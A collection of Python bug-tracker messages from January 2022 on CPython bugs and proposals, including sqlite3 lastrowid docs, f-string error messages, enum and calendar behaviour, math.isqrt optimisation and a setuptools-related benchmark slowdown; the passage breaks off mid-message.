Today I learned something. Thanks Arie. Yes, I agree that's a mistake. Perhaps the test suite should also have a test to capture the missed expectation (that __dict__ should not be present or setting attributes on EntryPoints instances should fail).

Ronald Oussoren <ronaldoussoren at mac.com> added the comment:
Part of the problem here is that most keys in the result of sysconfig.get_config_vars() are copied as-is from the CPython Makefile and pyconfig.h header file.
The keys copied from the Makefile are in a lot of cases not useful for users of python because they contain values that are only useful while building CPython itself.
Without knowing your use case it is hard to point you to a better solution, but as Ned writes in general just follow the instructions from the extending and embedding documentation.

Message-ID: <1641307303.08.0.831426730362.issue46256@roundup.psfhosted.org>
New submission from Daniele Varrazzo <daniele.varrazzo at gmail.com>:
The following bug has been reported to Psycopg:
https://github.com/psycopg/psycopg/issues/198
At the end of the program, errors such as the following are dumped:
Exception ignored in: <function PGconn.__del__ at 0x1021bbb50>
Traceback (most recent call last):
File "/opt/homebrew/lib/python3.10/site-packages/psycopg/pq/pq_ctypes.py", line 91, in __del__
TypeError: 'NoneType' object is not callable
Where `None` is some module-level objects, such as `os.getpid`.
Unfortunately I don't have a full repro. The error seems only happening in Python 3.10.

If the attached module is run with no command line arguments, it will reproduce the problem without doing anything else. When run using Python 3.9 it does not cause the problem. (This module comes from https://github.com/cvickery/transfer-app, with an unnecessary import commented out.)

Jan Novak <xnovakj at seznam.cz> added the comment:
New examples with the structured data.
Problems are with quotes and spaces inside { or [
cookie-script.com set those cookie data:
CookieScriptConsent={"action":"accept","categories":"[\\"performance\\"]"}
Python loads only cookies before that JSON structure
>>> from http.cookies import SimpleCookie
>>> ck = SimpleCookie()
>>> ck.load('id=12345; CookieScriptConsent={"action":"accept","categories":"[\\"performance\\"]"}; something="not loaded"')
>>> print(ck)
Set-Cookie: id=12345
This works:
>>> ck.load('id=12345; complex_data={1:[1,2]}; something="loaded"')
>>> print(ck)
Set-Cookie: complex_data={1:[1,2]}
Set-Cookie: id=12345
Set-Cookie: something="loaded"
This not works:
>>> ck.load('id=12345; complex_data={1:[1, 2]}; something="not loaded"')
>>> print(ck)
Set-Cookie: complex_data={1:[1,
Set-Cookie: id=12345
Conclusion:
Parsing JSON like cookie objects works, except quotes and without spaces.
Exist some new RFC with JSON data support?
How implementation/support/solution in diferent languages?
Exist another Python library which support cookie with JSON data?

Define "better"? The first way is by far the most obvious of the three, and the second way the least obvious. The first way also "wins" on being a variation of a uniform pattern that can deliver the floor, ceiling, or rounded result, depending on which simple comparison result is added. It's not "a trick" - it's the opposite of clever ;-)
The first way is also unique in being the only one of the three that does _not_ do any Python-level arithmetic on integers as wide as `n`. `i` and `rem` are no more than about half the bit length of `n`. `n << 2` and `n - 1` in the others have to create new int objects at least as wide as `n`.

algorithm
Message-ID: <1641315845.19.0.562428388394.issue46257@roundup.psfhosted.org>
New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:
The existing code makes two passes, one to compute the mean and another to compute the sum of squared differences from the mean. A consequence of making two passes is that iterator inputs must be converted to a list before processing. This throws away the memory saving advantages of iterators.
The ostensible reason for the two pass code is that the single pass variant is numerically unstable when implemented with floating point accumulators. However, this code uses fractions throughout, so the accumulation is exact.
Changing to a single pass saves memory, doubles the speed, and simplifies the upstream code in variance(), pvariance(), stdev(), and pstdev().

Subject: [issue46258] Minor algorithmic improvements for math.isqrt
Message-ID: <1641317408.82.0.590764539045.issue46258@roundup.psfhosted.org>
New submission from Mark Dickinson <dickinsm at gmail.com>:
There are a couple of minor algorithmic improvements possible for the math.isqrt fast path (which is used for nonnegative integers smaller than 2**64). On my machine those improvements produce a little over a 10% speedup.
The current algorithm for values under 2**64 involves exactly four division instructions, corresponding to four Newton steps. The proposal is to:
- 1. Replace the first division with a table lookup. The necessary table is extremely small: 12 entries at one byte per entry.
- 2. Arrange for the return type of the _approximate_sqrt helper function to be uint32_t rather than uint64_t. That means that the correction step only involves a 32-bit-by-32-bit multiplication, not a 64-bit-by-64-bit multiplication.
The second part is a bit subtle: the input to _approximate_sqrt is a 64-bit integer `n` in the range [2**62, 2**64). Barring any overflow, the output `u` is guaranteed to satisfy `(u-1)**2 < n < (u+1)**2`. That implies that `(u-1)**2 < 2**64`, from which it follows that `u <= 2**32`. So the only possible case where `u` might overflow a `uint32_t` is when `u == 2**32`. But from the earlier inequality, that can only happen if `n > (2**32 - 1)**2`, and in that case the top 31 bits of `n` are completely determined and since the first steps of the algorithm only depend on the topmost bits of `n`, it's easy to follow through the algorithm and see that it's not possible for `u` to be `2**32` in that case. (We always get `u = 128` from the lookup, followed by `u = 255` after the first division, then `u = 65536` after the second.)

`isinstance(list[int], type)` returns `True` in 3.9 as well, so the behaviour has been around for a while. (Not a comment on whether the change is worth making, just a note.)

Okay, so it is probably here to stay. We could justify it (after the fact :-) by saying that you can instantiate list[int], but not Any.
Are there exceptions to that? (I.e. are there other annotation types that have isinstance(X, type) return False but can be instantiated, or the other way around?)

My plan was to fix as much bugs in the stdlib and backport workaround to 3.9 and 3.10, then propose to revert this "feature" in 3.11.
There is a risk of introducing some regressions by this change, but we can handle it. I think it is better to do it now and fix potential bugs in third-party code (we cannot add workarounds in all third-party code) than keep this weird special case forever.

Hi,
Like I mentioned in the ticket, I am trying to compile libplist,
libimobiledevice , and libimobiledevice-glue-1.0 on my mac. These are
needed to do any development on a mobile device (specifically for testing /
automation). I use Python for a lot of developmental work, and hence would
rather stick to the same framework to work on mobile devices too.
https://github.com/libimobiledevice
The project is not to "embed" Python, but to link to it, so that it can be
used for testing the app on the mobile (the tools rely on Cython).
The three tools have their own "autogen.sh" which fails with the error
mentioned in the ticket.
While researching, I had found this solution on stackexchange -
https://stackoverflow.com/questions/6490513/vim-failing-to-compile-with-python-on-os-x
Which led me to this after looking more in the python distribution files:
---
In file
/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/sysconfig.py
On line 410 - fn _generate_posix_vars
439-448

Let me know if you need any other information.

Guido van Rossum <guido at python.org> added the comment:
I'm still wondering why speed.python.org showed such a slowdown, and how we can revert that. Here's a new theory.
Thanks to an investigation I did together with Eric, I now suspect that the release of setuptools 60.0.0 on Dec 19 is a smoking gun. PyPerformance (re)installs the latest versions of pip and setuptools.
Setuptools 60.0 makes a change in the file distutils-precedence.pth that causes it (by default) to import something called _distutils_hack and to call its add_shim() function. In previous setuptools this was off by default, but in 60.0 it switched to on. See https://github.com/pypa/setuptools/blob/main/CHANGES.rst#v6000
That add_shim() call in turn installs an extra entry in front of sys.meta_path, which does a bunch of extra work. See https://github.com/pypa/setuptools/blob/main/_distutils_hack/__init__.py
Pablo, can we change the PyPerformance configuration or the script that runs it to set and export SETUPTOOLS_USE_DISTUTILS=stdlib, to see whether that affects perf at all?
(Note that the code in distutils-precedence.pth is executed by site.py in addpackage().)

Hm, maybe so. But it will add a lot of overhead and complexity to executemany(), and there haven't been requests for this feature for sqlite3. AFAIK, there hasn't been request for lastrowid for executemany() at all. OTOH, my proposal of modifying lastrowid to always show the rowid of the actual last inserted row is a very cheap operation, _and_ it simplifies the code (=> increased maintainability), so I think I'll go for that.

Yes, but in those cases you keep track of the row id yourself, so you probably won't need lastrowid ;)

Sorry, I wasn't suggesting this for SQLite; it's just a better
and more flexible option than using cursor.lastrowid where
available. Sadly, the PG extension is not standards conform SQL.

Indeed, and that's the point :-)
Those auto-increment ID fields are
not really such a good idea to begin with. Either you know that you
will need to manipulate the rows after inserting them (in which case
you can set an ID) or you don't care about the individual rows and
only want to aggregate or search in them based on other fields.

Message-ID: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org>
New submission from Erlend E. Aasland <erlend.aasland at innova.no>:
The sqlite3 docs say that lastrowid is set to None after executemany(), or after execute()'ing statements that are not INSERTs or REPLACEs. This is not true; in those cases, lastrowid is preserved. lastrowid is only None in a pristine cursor. Suggesting to reword the docs so they harmonise with the implementation.
Note, there is a quirk, or bug with lastrowid: it is set to 0 if the first statement that's execute()d on a cursor is a non-INSERT/REPLACE statement. For example:
>>> import sqlite3
>>> cx = sqlite3.connect(":memory:")
>>> cu = cx.cursor()
>>> cu.lastrowid
>>> cu.execute("select 1")
>>> cu.lastrowid
0
This behaviour is consistent across current main through 3.7 (though in 2.7, the behaviour is consistent with the docs, so it probably changed a long time ago). I'm not sure it's worth noting this side effect in the docs though.

Oh, and the docs says that lastrowid "provides the rowid of the last modified row". This is not true; it provides the row id of the last _inserted_ row.

New submission from Nikita Sobolev <mail at sobolevn.me>:
I've noticed that `enum.Flag._missing_` has some uncovered paths.
For example, this error is never checked: https://github.com/python/cpython/blob/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91/Lib/enum.py#L1222-L1225
The same method for `Enum` has good coverage: https://github.com/python/cpython/blob/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91/Lib/test/test_enum.py#L2278-L2325
I've added two simple test cases for `Flag` and `IntFlag` that check this.

Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:
I did a run of pyperformance manually forcing setuptools<60.0 and another with setuptools>=60.0 I can reproduce the timing difference.
I assume we can therefore close this issue and maybe open another one thinking about how to deal with the setuptools problem (maybe reaching to the package maintainera).

Simpler reproducer:
>>> f"{foo)"
File "<stdin>", line 1
f"{foo)"
^
SyntaxError: f-string: unmatched ')'
I assume this is the same error as:
>>> foo)
File "<stdin>", line 1
foo)
^
SyntaxError: unmatched ')'
But I don't yet understand why it's choosing to parse that expression fragment. I'm working on it.

Not to point out the obvious but this buildbot uses --enable-shared which is often a source of build / bootstrap issues, such as the compiler executable being built ends up dynamically loading a libpython from a previous installation or build.

On my FreeBSD 13 VM the sysconfig data module is
build/lib.freebsd-13.0-RELEASE-amd64-3.11-pydebug/_sysconfigdata_d_freebsd13_.py
It does not have any multiarch suffix. The multiarch suffix is detected by configure.ac. Did FreeBSD 14.0's CC get support for "cc --print-multiarch"? I found a related FreeBSD bug https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=258377

I?m not an import expert but would have misgivings about having fancy types in sys.path too! It seems so fundamental, and used from C and Python, with a simple interface of a direct list (plus importers and finders etc), that I would understand it pure strings were required and not Paths (and not all path-likes).

New submission from Frank Feuerbacher <frank at feuerbacher.us>:
This blasted Turkish I will be the death of us all...
https://www.unicode.org/versions/Unicode14.0.0/ch05.pdf has a lovely graphic on page 238 of the behavior of upper/lower casing of the various I's and when locale is Turkish or not. It seems that Python 3.9.5 is broken, and I see no evidence that version 10 has fixed it.
Basically, U-0049 (I) should lower case to U-131 (?) and vice-versa, when locale is tr_TR. The rules are different for other locales.

> "Dont load untrusted config files" is the answer I expected.
Yes. It's the usual convenience vs. security trade-off. To make configuration convenient, configurable factories with configurable parameters are provided. Can this be misused? Of course.
Digital signing has its place where auditability and accountability are important, but it would normally only be used in production where configuration changes are subject to a strict process with signoffs.
There could definitely be stronger warnings in the documentation about trust and configurations.
> Is it reasonable to say that all classes by _resolve() and resolve() should have "logger." at the top of them? If not perhaps the object could have a permitted list of top level packages that defaults to just "logger." but could be extended to others by the developer.
I would think that's going too far, and perhaps it only moves the problem. In any case, dictConfig has a mechanism using the "()" key which allows any callable, not just a class. This is for a not uncommon use case where the callable is a function that returns a logging object (handler/formatter/filter) that has been tweaked in some way. But that feature can of course also be used with untrusted inputs to produce surprises.

Message-ID: <1641370038.04.0.916167704495.issue46265@roundup.psfhosted.org>
New submission from Jeffery To <jeffery.to at gmail.com>:
The Python package for OpenWrt was updated to 3.10 recently and we found that builds are failing for MIPS 24Kf (original report at https://github.com/openwrt/packages/issues/17217):
mipsel_24kc+24kf_gcc-11.2.0_musl/lib -znow -zrelro -L/builder/shared-workdir/build/sdk/build_dir/target-mipsel_24kc+24kf_musl/Python-3.10.0 -L/builder/shared-workdir/build/sdk/staging_dir/target-mipsel_24kc+24kf_musl/usr/lib -L/builder/shared-workdir/build/sdk/staging_dir/target-mipsel_24kc+24kf_musl/lib -fno-semantic-interposition -fprofile-generate -Xlinker -export-dynamic -o python Programs/python.o -L. -lpython3.10 -ldl -lpthread -lm -lz -lm

make[7]: *** [Makefile:602: python] Error 1
This error is only occurring for mipsel_24kc+24kf and not our other mips targets (none of which have an FPU).
I found that compilation will succeed if I disable optimizations or patch out the use of -fno-semantic-interposition, though I'm still not sure what is the exact cause of the error.

Subject: [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in
`calendar.py`
Message-ID: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
For some reasons useful day constants (`MONDAY` ... `SUNDAY`) from `calendar` are not properly recognised.
Several problems:
0. Not all code inside uses these constants
1. They are not tested. Only `.MONDAY` and `.SUNDAY` are tested to be present in https://github.com/python/cpython/blob/main/Lib/test/test_calendar.py#L508-L511
2. They are not in `__all__`
3. They are partially documented. There are some notes about them in https://docs.python.org/3/library/calendar.html#calendar.setfirstweekday
> Sets the weekday (0 is Monday, 6 is Sunday) to start each week. The values :const:`MONDAY`, :const:`TUESDAY`, :const:`WEDNESDAY`, :const:`THURSDAY`, :const:`FRIDAY`, :const:`SATURDAY`, and :const:`SUNDAY` are provided for convenience. For example, to set the first weekday to Sunday:
> import calendar
> calendar.setfirstweekday(calendar.SUNDAY)
But, they are not clickable, because, for example, ":const:`MONDAY`" does not exist in docs index.
So, my plan is:
0. Improve constant usage in the source code to make it more readable
1. Test that constants are there
2. Add them to `__all__` as a part of public API
3. Improve their docs

Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:
Good point. That code was originally added in issue420304 because every exception raised in PyObject_GetAttr() (including a TypeError for non-string name) was silenced in hasattr() and 3-argument getattr(). It was changed in Python 3, so this code duplication is no longer needed.
The name of the function was added in error messages in a9b9c9fa9fe9d1ae74ba9f89c43557a7f9bc04f5. Now it will gone. It is a minor regression, but I think that it is fine. Not all error messages contain a function name. In this case the context is clear from the traceback, and the error is not specific to these two functions, setattr() and delattr() raise the same error.

Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:
It was a bug fix. msg320663 states that that issue needs a more complex fix than provided by the initial patch. And that more complex fix was applied.
It looks to me that this issue is caused by running new tests with old stdlib. Tests caught a bug in an unfixed code, as expected.

Message-ID: <1641381244.64.0.268434919386.issue46267@roundup.psfhosted.org>
New submission from Ruben Vorderman <r.h.p.vorderman at lumc.nl>:
def compress(data, compresslevel=_COMPRESS_LEVEL_BEST, *, mtime=None):
"""Compress data in one shot and return the compressed string.
compresslevel sets the compression level in range of 0-9.
mtime can be used to set the modification time. The modification time is
set to the current time by default.
"""
if mtime == 0:
# Use zlib as it creates the header with 0 mtime by default.
# This is faster and with less overhead.
return zlib.compress(data, level=compresslevel, wbits=31)
header = _create_simple_gzip_header(compresslevel, mtime)
trailer = struct.pack("<LL", zlib.crc32(data), (len(data) & 0xffffffff))
# Wbits=-15 creates a raw deflate block.
return header + zlib.compress(data, wbits=-15) + trailer
^
Level should be here
I noticed this while benchmarking against python-isal. This benchmarks add level 1 and it seemed oddly slow.
This can be fixed easily. PR coming up.

If you are looking for case-insensitive string comparison, look at locale.strcoll() and locale.strxfrm(). They are locale-aware.

Yes, most of it :)
We haven't implemented points 2 and 3, yet.
I'm in no hurry to implement 3. It would clean up `gen.throw` a lot, and break the dependency between that code and the interpreter, but it isn't urgent.
2 is more urgent. I think we need it to allow specialization of `FOR_ITER` for generators, so it should happen in the next few weeks.

Message-ID: <1641382165.52.0.35997828488.issue46260@roundup.psfhosted.org>
Eric V. Smith <eric at trueblade.com> added the comment:
In fstring_find_expr, the code[0] that's checking for parens, braces, and brackets detects the closing paren without a matching open paren.
The error message isn't incorrect: if you added a matching open paren the code would compile:
>>> foo=lambda:0
>>> f'{foo()}'
'0'
So while the error might not be intuitive, it's not wrong.

In this webpage (bpo) core developers have a little python logo close to their name (as myself).
In GitHub, you can sometimes tell by hovering over the profile or checking the core dev log in the devguide: https://devguide.python.org/developers/

Simon, thanks a lot for both PRs. I am sorry that we needed to revert your original work, but unfortunately it was blocking a release and we are forced to act in this case. PLease, work together with Christian and Matthias to make a version of the patch that works in all supported platforms.

Hi Eric,
I see what are you referring to. Like you said unintuitive but still correct. Do you think it would be worthwhile to change the order of the checking such that '}' is always first? Or could the same edge case still appear but just the other way around?
Either way, thanks for looking into this and sorry for the trouble.

No trouble. I'm glad to know it wasn't actually the same error as plain "foo)" (although the error message is the same). That would have concerned me.
Changing the code so that it doesn't error out on the first problem it sees, but keeps looking for a different type of error and then maybe backtracks or re-parses would be a lot of work, and I think we'd just end up with a different class of errors.
I'm going to close this. Maybe when/if we move f-strings to the real parser we can look at this issue again.

Even in 3.10? Your PR looks pretty heavy for a bugfix release, and won't apply cleanly to 3.10.
> Moving the data to _PyRuntimeState would save me some effort with related work I'm doing right now.
I guess that's what makes the PR hard to review. What's the plan (or are there more conflicting plans), and what's the state in 3.10 vs. main?

The libraries you mention are 3th party projects. Please check with the project first.
I've look at the GitHub repository for libmobiledevice and have no idea how they determine the compiler flags for Python. As mentioned in an earlier version "python-config" is the documented way to fetch such flags.

Subject: [issue46269] '__new__' is never shown in `dir(SomeEnum)`
Message-ID: <1641395711.58.0.712103911409.issue46269@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now `__new__` is marked to be special-cased in `Enum.__dir__`.
It is generally ignored:
But, (I think that was the original idea), when `__new__` is overridden, it should be added to the output.
But, this line is problematic: https://github.com/python/cpython/blame/46e4c257e7c26c813620232135781e6c53fe8d4d/Lib/enum.py#L656
Why? Because `self.__new__` is always `EnumMeta.__new__`. Original `__new__` is renamed to `_new_member_`.
This behavior is also not tested.
So, my proposal is: let's always remove this method from `__dir__`. Why?
- If we modify the check above to compare `_new_member_`, we will show `__new__` as the output. It is kinda misleading
- `__new__` is not supposed to be overloaded in `EnumMeta`, it is very special
- `__new__` is a very basic thing. It would be kinda strange not to see it for some cases, but to see it for others. For example, all (?) other data types always show `__new__`, even if it is not explicitly defined:
```
>>> class A:
... def __new__(*args, **kwargs): ...
...
>>> assert '__new__' in dir(A)
>>> class B: ...
...
>>> assert '__new__' in dir(B)
```
I guess being consistent here (we don't show `__new__` at all times) is better.
I will send a PR that removes these two lines in a moment! Any other ideas are much appreciated!

bug.py:
* Python 3.7 branch doesn't crash
* Python 3.8 branch does crash
So the regression was introduced in Python 3.8.

Python 3.8.0 is the first Python version containing this change. So it looks like a Python 3.8 regression.

Subject: [issue46270] Comparison operators in Python Tutorial 5.7
Message-ID: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org>
New submission from Jan <janpaulus95 at web.de>:
In chapter 5.7 in the official Python tutorial (see: https://docs.python.org/3/tutorial/datastructures.html), there is the following paragraph:
"The comparison operators in and not in check whether a value occurs (does not occur) in a sequence. The operators is and is not compare whether two objects are really the same object. All comparison operators have the same priority, which is lower than that of all numerical operators."
I believe that "in" and "not in" are rather membership operators than comparison operators. I think a differentiation of operator types in one or two sentences would be helpful.

William Navaraj <williamnavaraj at gmail.com> added the comment:
@Eric Smith,Thanks for explaining the intuition behind this statement. I agree. Just to avoid ambiguity we could add
"f-string: unmatched '%c' - no matching open parenthesis or missing '}'"
The only possibility at nested_depth==0 line 665 is either of those because of the check in line 559 i.e. assert(**str == '{')
https://github.com/python/cpython/blob/cae55542d23e606dde9819d5dadd7430085fcc77/Parser/string_parser.c#L559
Will help folks to look backwards (close to open as well) than forwards (open to close) as in Matt's case which is also a valid interpretation where there is an opening paren outside the f-string.
or simply
"f-string: unmatched '%c' or missing '}'" will also do.

Alex Waygood <Alex.Waygood at Gmail.com> added the comment:
Thanks, Nikita! My bad for not adding tests for __new__ in PR 29316.
To confirm: yes, my idea in PR 29316 was that "__new__" (along with most enum dunders) should not show up in the output of dir(Enum), but should show up in dir(EnumSubclass) if and only if __new__ has been overridden outside of enum.py. That's because, unlike with most Python classes, the fact that enum.Enum has a __new__ method or a __format__ method doesn't really tell you very much about enum.Enum's behaviour, due to how magical enums are. But if it's been overridden in a custom Enum subclass, that does tell you that the enum class has special behaviour in some way ? the HTTPStatus enum at Lib/http/__init__.py:6 is a really good example of that.
But you're right: the existing code doesn't work as expected, at all:
```
>>> from http import HTTPStatus
>>> '__new__' in dir(HTTPStatus)
False
```

I don't think these were intended to be public. like "January" and "February", they were for internal use. Presumably, this is because the names vary across languages.
In the absence of some demonstrated user need, we should leave this alone.

STINNER Victor <vstinner at python.org> added the comment:
IMO writing a complete rationale for running multiple interpreters in parallel which require a whole PEP. I didn't write such PEP yet since there are still non-trivial technical issues, especially the problem of static types: bpo-40601.
I don't have time right now to measure the performance overhead of PR 30123 on _PyUnicode_EqualToASCIIId() and on changing a type attribute (like overriding the __init__() method). I expect a minor overhead on micro-benchmark and no significant change on pyperformance macrobenchmarks. But again, right I don't have time to go through such analysis.
The priority for now is to unblock the Python 3.11 release and repair the Python 3.10 regression, so I'm fine with reverting my commit ea251806b8dffff11b30d2182af1e589caf88acf which introduced the regression.
PR 30131 makes more changes than just reverting the commit, it changes the _PyRuntimeState structure and it also reverts the identifiers change, whereas so far, there is no known relationship between this issue and identifiers. IMO it's ok to leave identifiers unchanged.

Thanks for the feedback! The problem is they are documented here: https://docs.python.org/3/library/calendar.html#calendar.setfirstweekday
Should we change the docs there to hide them as implementation detail?
Because the current state looks inconsistent to me.

I think the sticking point is this: it is not expected that old versions should work as-is with the newest Python. Can you do your build and test with the Python version that was current 7 years ago?

Subject: [issue46271] frozen modules are not regenerated on bytecode magic
change when cross building
Message-ID: <1641407234.76.0.448260785945.issue46271@roundup.psfhosted.org>
New submission from Christian Heimes <lists at cheimes.de>:
The Makefile rules for frozen header files have a dependency on $(FREEZE_MODULE_BOOTSTRAP_DEPS) or $(FREEZE_MODULE_DEPS). For normal builds this dependency will trigger a refresh of the frozen header files when the byte code magic changes:
FREEZE_MODULE_BOOTSTRAP_DEPS=Programs/_freeze_module
FREEZE_MODULE_DEPS=_bootstrap_python
Both binaries depend on object files which indirectly have a dependency on all core header files $(PYTHON_HEADERS).
However cross builds use an external Python binary. Neither $(FREEZE_MODULE_BOOTSTRAP_DEPS) nor $(FREEZE_MODULE_DEPS) add an indirect dependency on $(PYTHON_HEADERS). The frozen header files are not rebuilt when any header file like opcode.h is modified. This causes hard to debug issues like https://bugs.python.org/issue46009#msg409770
Fix: all frozen header files should also depend on $(PYTHON_HEADERS)

By "the issue", I mean bug.py, not win_py399_crash_reproducer.py.
Victor: perhaps we should open a separate issue for the bug.py issue.
Applying the patch from msg409795 onto the 3.9 branch also fixes the segfault from bug.py there.
main does not segfault for me, but I would apply the patch anyway, since the current code is broken.

It may seem weird, but a "membership operator" is a kind of "comparison operator".? They can even participate in chaining, 'a < b in s < c` is equivalent to `(a < b) and (b in s) and (b < c)`.
I'm propose this new wording to mention the concept of "membership":
"The comparison operators `in` and `not in` are membership tests that determine whether a value is in (or not in) a container."

Is the server running locally and accepting connections on that socket?
Is there a self-contained way to reproduce the issue without a DB up and running? Or to somehow shrink the reproducer down to its cpython-relevant bare essentials?

My understanding of the resolution of this ticket is that it is still not possible to use setrlimit with RLIMIT_STACK to raise the soft stack limit. Is that correct?
In that case, the original bug report still seems valid and unresolved (and indeed, I am porting a project from Python 2.7 to Python 3.9 and on macOS it fails because it cannot raise the stack limit).

I really like this solution because it mentions the buzz word "membership". But I would change "container" to "sequence" because the term "container" doesn't appear in chapter 5, "sequence" on the other hand multiple times. My proposal:
"The comparison operators `in` and `not in` are membership tests that determine whether a value is in (or not in) a sequence."

Container is correct. Containers are defined as being anything that supports the "in" and "not in" operators. That includes sequences (str, list, tuple, bytes, bytearray), mappings (dict, ChainMap, defaultdict), and sets (frozenset and set).
It doesn't matter that the word container comes up later. At this point in the tutorial we tend to have a number of forward or references. Our tutorial is more a guided walkthrough with examples rather than a series of sequential definitions.

I don't have a good answer, but given the title of this issue (which is specifically scoped to site install schemes), I'm tempted to say we should deal with prefixes in a separate, perhaps broader issue, and there address the reported issue (that a user's prefix override isn't honored by the scheme) and maybe more broadly the issue that there's not a design/spec for python installations (and probably there should be).

Brett Cannon <brett at python.org> added the comment:
This is working as intended. Because you don't have a `__init__.py` file in your `tests` directory, Python considers it a potential namespace package. As such, Python keeps searching for a "normal" package that defines `__init__.py` for the same package name. Since Astroid has one and seemingly has it on `sys.path` in such a way as to get discovered, it gets selected as the package to use for the name `test`.
If you add a `tests/__init__.py` file then your issue will go away.

The app has to open a db connection during module initialization to trigger the problem, so I can't provide a self-contained way to reproduce the problem.
The closest I can come is the attached file, format_rules_annotated.py.
With lines 66-69 in place, the problem occurs, even if there are no command line arguments, with Python 3.10, but not with Python 3.9. If I comment out lines 66-69 there is no problem with either 3.10 or 3.9, even if I add a command line argument that causes connections to be opened within functions defined within the module. (I added the explicit initialization of the institution_names dict so I could test those function calls without accessing the db during module initialization.)
FWIW, here is an execution under 3.10 with lines 66-69 commented out:
$ python -m format_rules_annotated -r QCC01:QNS01:PH:35
QCC01:QNS01:PH:35
C- or above in PH 101 at Queensborough, 4.0 credits, transfers to Queens as PHYS-11 and PHYS-14, 4.0 credits.
[No "Exception ignored" message appears here because db was not accessed during module initialization]

Subject: [issue46274] backslash creating statement out of nothing
Message-ID: <1641424367.42.0.632530824135.issue46274@roundup.psfhosted.org>
New submission from Jeremy <ucodery at gmail.com>:
A source of one or more backslash-escaped newlines, and one final newline, is not tokenized the same as a source where those lines are "manually joined".
The source
```
\
\
\
```
produces the tokens NEWLINE, ENDMARKER when piped to the tokenize module.
Whereas the source
```
```
produces the tokens NL, ENDMARKER.
What I expect is to receive only one NL token from both sources. As per the documentation "Two or more physical lines may be joined into logical lines using backslash characters" ... "A logical line that contains only spaces, tabs, formfeeds and possibly a comment, is ignored (i.e., no NEWLINE token is generated)"
And, because these logical lines are not being ignored, if there are spaces/tabs, INDENT and DEDENT tokens are also being unexpectedly produced.
The source
```
\
```
produces the tokens INDENT, NEWLINE, DEDENT, ENDMARKER.
Whereas the source (with spaces)
```
```
produces the tokens NL, ENDMARKER.

Thanks Brett for that explanation!
Makes sense actually now that I think about it. I also wondered how astroid got onto my sys.path, but that's something for another time :)

Subject: [issue46275] caret location for syntax error pointing with f-strings
Message-ID: <1641432348.77.0.771622178484.issue46275@roundup.psfhosted.org>
New submission from William Navaraj <williamnavaraj at gmail.com>:
Currently for non-f-string syntax errors,
the caret points to the correct location of the syntax errors
Example 1:
```
a=foo)+foo()+foo()
```
a=foo)+foo()+foo()
^
SyntaxError: unmatched ')'
For f-string syntax errors,
the caret points two locations after the f-string (almost correct location of the f-strings as a whole but will be more helpful as much as possible to point where exactly the syntax error is)
Example 2:
```
temp=f"blank ({foo(}"
```
temp=f"blank ({foo(}"
^
SyntaxError: f-string: closing parenthesis '}' does not match opening parenthesis '('
Example 3:
```
temp=f"blank ({foo)blank ({foo()}) blank foo()})"
```
temp=f"blank ({foo)blank ({foo()}) blank foo()})"
^
SyntaxError: f-string: unmatched ')'

Alexander Hartl <alexander.hartl at tuwien.ac.at> added the comment:
I just found this PR when a task of mine spontaneously crashed with a "Task was destroyed but it is pending" in the middle of program execution.
I think the warning should be added to `loop.create_task()`, too. Not sure if `loop.call_later()` and `loop.call_at()` are also affected?
I think it would be a good idea to add the fire-and-forget example that @bernat gave. At the moment, stackoverflow is full of suggestions to just use `create_task()` in this case, ignoring the return value. Actually, I think it is a true shortcoming that asyncio doesn't provide a fire-and forget functionality by itself.

Probably not a Python bug, but I have detected this problem a couple of times, and it always happened the same way, while using pdoc package in a Python script.
#### Steps to reproduce the behavior:
1. Connect mobile telephone (Avenzo Xirius 5.5 AV112) to my USB port to charge it.
2. Run a Python script which uses pdoc package: https://github.com/mitmproxy/pdoc
3. Only sometimes ... Python hangs and raises this alert: https://bugs.python.org/issue22739
4. If I launch other Python scripts no problem at all. If I comment out pdoc call in my script, no problem at all.
5. My pdoc script will only come back to work normally when in unplug my mobile telephone from USB port.
I understand pdoc tries to read .py scripts in my hard disk to produce html documentation.

Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context'
argument
Message-ID: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org>
New submission from Andrew Svetlov <andrew.svetlov at gmail.com>:
Actual implementations of asyncio event loops (both Unix and Windows) support contextvars and accept `context` argument in `loop.call_*()` methods.
Abstract event loop definition doesn't it. It is not a bug but a signature incompatibility that can embarrass human readers and machine analyzing tools.

Erlend E. Aasland <erlend.aasland at innova.no> added the comment:
Here's a strange observation from my FreeBSD 14.0 VM:
With system supplied python3.8 (dependency of the git package), test_embed succeeds. If I explicitly install python3.9 (pkg install python3.9 installs Python 3.9.9), rebuild and test, test_embed fails.

FYI, the buildbot has Python 3.9.9 installed, as seen from the configure step.
(nit: it's pkg install python39, not pkg install python3.9)

Erlend E. Aasland <erlend.aasland at innova.no> added the comment:
Wait a minute. It is not tied to the Python version installed; it seems to be an issue with in-tree vs. out-of-tree builds. The failed build was in-tree. The build that succeeded was out-of-tree. I did a new build with Python 3.9 installed, which succeeded out-of-tree.
To clear things up:
- out-of-tree build with system Python 3.8 => succeeds
- out-of-tree build with system Python 3.9 => succeeds
- in-tree build with system Python 3.9 => fails

Message-ID: <1641471311.75.0.65156652301.issue46276@roundup.psfhosted.org>
Eryk Sun <eryksun at gmail.com> added the comment:
"_frida.cp310-win_amd64.pyd" is a bad build or corrupted file. It imports a procedure with no name from a DLL with no name, which causes the loader to search for a file named ".DLL". Even if that were found, it imports another procedure with no name or correct ordinal from "IPHLPAPI.DLL". There are probably more problems with this DLL.

Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc
Message-ID: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org>
New submission from FeRD (Frank Dana) <ferdnyc at gmail.com>:
The expanded documentation on top-level environments is quite an improvement, but there's one passage that causes some confusion. In the section '__main__.py in Python Packages', towards the end, it reads:
"""
